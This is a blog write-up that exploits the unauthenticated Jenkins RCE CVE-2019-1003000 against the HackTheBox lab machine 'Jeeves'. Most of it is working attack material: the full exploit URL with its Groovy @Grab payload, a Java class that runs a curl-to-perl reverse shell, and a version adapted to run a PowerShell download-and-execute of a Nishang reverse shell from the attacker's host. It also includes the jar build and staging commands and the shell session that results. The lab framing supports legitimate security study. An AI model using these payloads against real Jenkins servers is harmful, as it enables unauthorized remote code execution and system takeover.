Playing with Jenkins RCE Vulnerability
Orange Tsai published a really interesting writeup on their discovery of CVE-2019-1003000, an Unauthenticated remote code execution (RCE) in Jenkins. There was a box from HackTheBox.eu that ran Jenkins, and while the configuration wasn’t perfect for this kind of test, I decided to play with it and see what I could figure out. I’ll get the exploit working with a new payload so that it runs on the Windows environment.
Overview
Exploit Background
Jenkins has a Pipeline feature which is implemented in Groovy. The exploit author discovered that the user issue an unauthenticated GET request to provide Groovy Meta-Programming input. In this input, the attacker can use the @Grab
annotation to invoke Grape, the built-in JAR dependency management tool for Groovy, and have it download a jar and run it. The write-up goes into much more detail if you want more background.
Target Host: Jeeves
I’m going to be testing on Jeeves, from HackTheBox.eu. This is a good place to start because it’s already set up with Jenkins installed. The web interface for Jenkins is available on port 50000, at http://10.10.10.63:50000/askjeeves
.
Jeeves is not perfect. This host has authentication turned off for Jenkins. This box was in fact easily solved by just by visiting the Script Console and running Groovy script there. Still, I’ll see if I can get execution going using the path provided, and trusting that even without auth, I would have access.
I will also have to update the payload for a Windows target.
Exploiting
Invoking Grape
If the point of the exploit is to create a GET request that gets Jenkins to connect back to my machine and request the jar file, that seems like a good place to start. In the POC video, they show visiting /securityRealm/user/admin
and getting back a page about the admin, even without auth. I can reproduce that by visiting http://10.10.10.63:50000/askjeeves/securityRealm/user/admin/
:
Now I’ll visit the workflow plugin’s checkScriptCompile API endpoint with some Groovy that should use the @Grab
meta annotation to request the jar from me. I’ll start a python3 -m http.server 80
and visit:
http://10.10.10.63:50000/askjeeves/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27orange.tw%27,%20root=%27http://10.10.14.21/%27)%0A@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%271%27)%0Aimport%20Orange;
In that url, I provide a value
parameter which is the Groovy script to run. It uses %0A
for newlines. Here’s how that script looks unencoded:
@GrabConfig(disableChecksums=true)
@GrabResolver(name='orange.tw', root='http://10.10.14.21/')
@Grab(group='tw.orange', module='poc', version='1')
import Orange;
It defines the parameters for the ‘orange.tw’ package, including where to get it, and then invokes @Grab
to fetch it.
On visiting the url, I do see activity on my web server:
root@kali# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.63 - - [27/Feb/2019 11:07:18] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:07:18] "HEAD /tw/orange/poc/1/poc-1.pom HTTP/1.1" 404 -
10.10.10.63 - - [27/Feb/2019 11:07:19] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:07:19] "HEAD /tw/orange/poc/1/poc-1.jar HTTP/1.1" 404 -
Very cool! It tried to download a pom file, and when that failed, went for poc-1.jar
. That matches the module
and the version
from the url. I can change module to “0xdf” and version to “223” in the url and see that reflected:
10.10.10.63 - - [27/Feb/2019 11:34:35] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:34:35] "HEAD /tw/orange/0xdf/223/0xdf-223.pom HTTP/1.1" 404 -
10.10.10.63 - - [27/Feb/2019 11:34:36] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:34:36] "HEAD /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 404 -
The web browser is showing a big error message that it can’t resolve the dependency:
Building a Jar Payload
The blog gives an example payload that looks like this:
public class Orange {
public Orange(){
try {
String payload = "curl orange.tw/bc.pl | perl -";
String[] cmds = {"/bin/bash", "-c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}
I can clearly see that it will exec /bin/bash -c curl orange.tw/bc.pl | perl -
. I can assume that bc.pl
is a reverse shell.
This will have to be modified for a Windows target. I’ll have it run PowerShell to get and Invoke a Nishang shell:
public class Orange {
public Orange(){
try {
String payload = "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.21/shell.ps1')";
String[] cmds = {"cmd", "/c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}
Now I’ll build that into a jar. Compile the java:
root@kali# javac Orange.java
Make the appropriate metadata:
root@kali# mkdir -p META-INF/services/
root@kali# echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
root@kali# find
.
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners
Bundle it into a jar:
root@kali# jar cvf 0xdf-223.jar Orange.class META-INF
added manifest
adding: Orange.class(in = 579) (out= 416)(deflated 28%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/org.codehaus.groovy.plugins.Runners(in = 7) (out= 9)(deflated -28%)
Stage Payloads
Next I’ll move the jar into the path expected by the GET request:
root@kali# mkdir -p tw/orange/0xdf/223/
root@kali# mv 0xdf-223.jar tw/orange/0xdf/223/
I’ll also get a copy of Invoke-PowerShellTcp.ps1
and named it shell.ps1
to match what’s in the jar:
root@kali# cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 shell.ps1
Then I’ll grab the example line and paste it at the end of the file, with my IP/port information:
root@kali# tail -1 shell.ps1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.21 -Port 443
Now the PowerShell will request this file, and execute it loading all of the functions into the PowerShell session, and then Invoking the one that creates a shell connection back to me.
Exploit
I’ll open a nc
listener on port 443. Now I just need to visit the url again. On refresh, I first see activity in the web server, the request for the jar file followed 6 seconds later by the request for shell.ps1
:
10.10.10.63 - - [27/Feb/2019 12:15:36] "HEAD /tw/orange/0xdf/223/0xdf-223.pom HTTP/1.1" 404 -
10.10.10.63 - - [27/Feb/2019 12:15:36] "HEAD /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 200 -
10.10.10.63 - - [27/Feb/2019 12:15:37] "GET /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 200 -
10.10.10.63 - - [27/Feb/2019 12:15:43] "GET /shell.ps1 HTTP/1.1" 200 -
Shortly after that, I get a connection on nc
, and I have a shell:
root@kali# nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.63.
Ncat: Connection from 10.10.10.63:49680.
Windows PowerShell running as user kohsuke on JEEVES
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator\.jenkins>whoami
jeeves\kohsuke
Troubleshooting
Java Version
The first time I tried this, after Jenkins downloaded my jar file, I got the following error message in the web browser:
java.lang.UnsupportedClassVersionError: Orange has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0
Basically, I compiled the class file using a later version of java, and it can’t understand it.
According to the Wikipedia page on Java Class Files, version 55 is Java SE 11, and 52 is Java SE 8.
I installed Java 8 on my computer with
root@kali# apt install openjdk-8-jdk
Then I used update-alternatives
to select the right version for now:
root@kali# update-alternatives --config javac
There are 4 choices for the alternative javac (providing /usr/bin/javac).
Selection Path Priority Status
------------------------------------------------------------
0 /usr/lib/jvm/java-11-openjdk-amd64/bin/javac 1111 auto mode
* 1 /opt/jdk-11.0.2/bin/javac 1 manual mode
2 /usr/lib/jvm/java-10-openjdk-amd64/bin/javac 1101 manual mode
3 /usr/lib/jvm/java-11-openjdk-amd64/bin/javac 1111 manual mode
4 /usr/lib/jvm/java-8-openjdk-amd64/bin/javac 1081 manual mode
Press <enter> to keep the current choice[*], or type selection number: 4
update-alternatives: using /usr/lib/jvm/java-8-openjdk-amd64/bin/javac to provide /usr/bin/javac (javac) in manual mode
Then I recompiled and re-made my jar, and it worked!
Updating the Jar
If I mess up something in the jar file, I can’t just update it locally and refresh. When I do that, Grape thinks the correct module is already there, and doesn’t go to re-fetch it. Obviously I can reset the box at this point to start over. But I can also rebuild it with the next version number.
For example, if I uploaded with a version of java that isn’t compatible with the box, I can recompile that locally, rebuild the jar, and everything else using version 224 instead of 223. I’ll need a new directory and filename for the jar:
root@kali# javac Orange.java
root@kali# jar cvf 0xdf-224.jar Orange.class META-INF
added manifest
adding: Orange.class(in = 579) (out= 416)(deflated 28%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/org.codehaus.groovy.plugins.Runners(in = 7) (out= 9)(deflated -28%)
root@kali# mkdir tw/orange/0xdf/224
root@kali# cp 0xdf-224.jar tw/orange/0xdf/224/
Now I update the version in the url and refresh, and I get a shell.